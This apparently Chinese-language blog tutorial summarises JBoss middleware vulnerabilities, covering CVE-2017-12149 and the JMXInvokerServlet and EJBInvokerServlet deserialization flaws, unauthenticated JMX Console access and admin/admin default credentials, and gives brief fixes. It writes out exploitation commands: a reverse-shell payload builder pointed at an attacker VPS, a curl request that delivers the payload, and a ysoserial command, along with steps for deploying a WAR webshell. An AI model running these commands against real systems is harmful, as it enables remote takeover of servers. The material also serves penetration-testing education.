theme: smartblue
本文正在参加「金石计划 . 瓜分6万现金大奖」
前言
本文给大家带来的是JBOSS中间件漏洞的总结,详细讲解一下JBOSS中间件的常见漏洞以及利用方法,本文就着JBOSS中间件的特性来分析该中间件的常见漏洞利用方式,下面我们展开文章来讲。
什么是JBOSS?
简单来说可以介绍为一个开源的符合J2EE规范的应用服务器,作为J2EE规范的补充,Jboss中引入了AOP框架,为普通Java类提供了J2EE服务,而无需遵循EJB规范。
该中间件的特点如下:
它将具有革命性的JMX微内核服务作为其总线结构;
它本身就是面向服务的架构(Service-Oriented Architecture,SOA);
它还具有统一的类装载器,从而能够实现应用的热部署和热卸载能力。
了解完JBOSS中间件的介绍,下面我们来讲关于该中间件的漏洞。
JBoss 5.x/6.x 反序列化漏洞
漏洞编号为CVE-2017-12149,这个漏洞利用了 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,如果包含恶意数据则会导致该漏洞。
下面用实例来给大家展示一下,首先访问我们部署的站点:
访问URL:
http://*****/invoker/readonly
出现下面界面说明可能存在该漏洞:
这里下载漏洞利用链接:
使用命令执行脚本:
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port //ip为VPS的IP
之后使用CURL命令来对靶机进行攻击:
curl 靶机ip/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
监听一下我们反弹SHELL的接口:
当然该漏洞也有图形化利用工具,有兴趣的小伙伴可以自己去找一找。修复方法可以通过删除http-invoker.sar 组件来进行漏洞的防御。
JMXInvokerServlet 反序列化漏洞
漏洞原因是在路径/invoker/JMXInvokerServlet中请求接受了我们传入的对象,同时利用一系列恶意代码来进行命令执行。影响版本如下:
判断该漏洞的方法也十分简单,在invoker/JMXInvokerServlet只要有文件下载,就可以判断存在该漏洞,因为在访问时请求了对象于是我们可以使用JAVA反序列化工具ysoserial生成payload放入BODY体中发送。利用语句如下:
java -jar ysoserial.jar CommonsCollections5 "touch /tmp/success" > poc.ser
可以考虑的修复方法为禁用JBoss的JMXInvokerServlet接口(默认8080)。
EJBInvokerServlet 反序列化漏洞
该漏洞与上面讲的漏洞原理相似,而且利用PAYLOAD也可以一致,唯一的区别就是该漏洞利用的是org.jboss.invocation.MarshalledValue,判断条件也差不多,访问:
invoker/EJBInvokerServlet
返回文件则可以判断漏洞存在,于是我们可以尝试攻击。
JMX Console未授权访问
JBOSS有个webUI界面,访问路径jmx-console,默认密码弱口令,于是攻击者可以利用该漏洞查询数据信息甚至上传木马,进入页面如下:
我们可以在jboss.deployment里面的void addURL()里部署WAR包进行GETSHELL攻击,需要注意的是需要点击invoke进行WAR包的部署,部署成功后访问木马即可。
Administration Console 弱口令
Administration Console登陆界面如果密码没有修改的话默认为:
admin/admin
于是攻击者可以通过弱口令爆破进行攻击,然后在后台部署WAR包进行GETSHELL:
成功部署的提示为
Resource xino.war created successfully!
之后通过WEBSHELL连接工具进行连接。
结语
本文简单总结了一下JBOSS中间件常见的漏洞,可以看到JBOSS中间件漏洞利用方式还是听多样的,很多涉及了后台WAR包的部署来进行GETSHELL,同时也存在弱口令等常见漏洞,当然也简单介绍了一下漏洞的修复方法,对该中间件漏洞感兴趣的小伙伴可以自己去进行环境的搭建来进行渗透测试,一定会有所收获。
暂无评论内容